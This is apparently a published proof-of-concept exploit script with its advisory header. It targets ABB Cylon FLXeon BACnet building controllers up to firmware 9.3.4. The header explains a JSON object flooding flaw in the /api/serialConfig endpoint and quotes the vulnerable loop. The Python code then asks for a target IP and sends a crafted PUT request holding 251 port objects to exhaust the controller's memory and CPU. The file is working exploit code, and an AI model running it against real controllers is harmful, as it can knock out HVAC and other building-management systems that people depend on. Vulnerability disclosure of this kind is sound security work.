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#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (serialConfig.js) JSON Object Flooding #!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (serialConfig.js) JSON Object Flooding DoS
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
# CBX Series (FLX Series)
# CBT Series
# CBV Series
# Firmware: <=9.3.4
#
# Summary: BACnet? Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnet? IP and BACnet MS/TP field controllers for ASPECT? and INTEGRA?
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
#
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to an authenticated JSON
# flooding attack, leading to uncontrolled resource consumption and a denial-of-service
# (DoS) condition. The /api/serialConfig endpoint allows an authenticated attacker to
# abuse an unrestricted loop to create a large number of JSON objects by sending specially
# crafted requests through the ports JSON array. This results in excessive memory and CPU
# usage, causing resource exhaustion and potential service failure.
#
# -------------------------------------------------------------------------------------
# /api/serialConfig.js:
# ---------------------
# 67: function put(req, res) {
# 68: var newPlat = { serial: {} };
# 69: var newPorts = req.body.ports;
# 70: var client = dgram.createSocket("udp4");
# 71: Platform.readConfig(function (err, config) {
# 72: if (err) {
# 73: return res.status(500).send('Failed to read conf.json file');
# 74: }
# 75: else {
# 76: for (let idx = 0; idx < newPorts.length; idx++) {
# 77: if (newPorts[idx].protocol == 'mstp') {
# 78: newPlat['serial'][idx + 1] = { proto: newPorts[idx].protocol, mstp: { baud: newPorts[idx].baud } };
# 79: }
# 80: else {
# 81: newPlat['serial'][idx + 1] = { proto: newPorts[idx].protocol };
# 82: }
# 83: }
# -------------------------------------------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
# Linux Kernel 4.15.13
# NodeJS/8.4.0
# Express
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5915
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5915.php
#
#
# 21.04.2024
#
#


import requests
import json

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

proj = r"""
P R O J E C T

.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
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ABB Cylon FLXeon Series <=9.3.4
JSON Object Flooding
ZSL-2025-5915
"""

print(proj)

hdrs = {
"Cookie" : "user_sid=s:xxx.yyy/zzz",
"Content-Type" : "application/json; charset=utf-8"}

trgt = input("Enter target IP: ")
pd = {"ports": [{} for _ in range(251)]} # ++
jd = json.dumps(pd)

print("Sending DoS payload:\n", jd)
odg = requests.put(f"https://{trgt}/api/serialConfig",
headers = hdrs,
data = jd,
verify = False)

print(odg.status_code, end = ':')
print(odg.json())
print("Bamboozled!")
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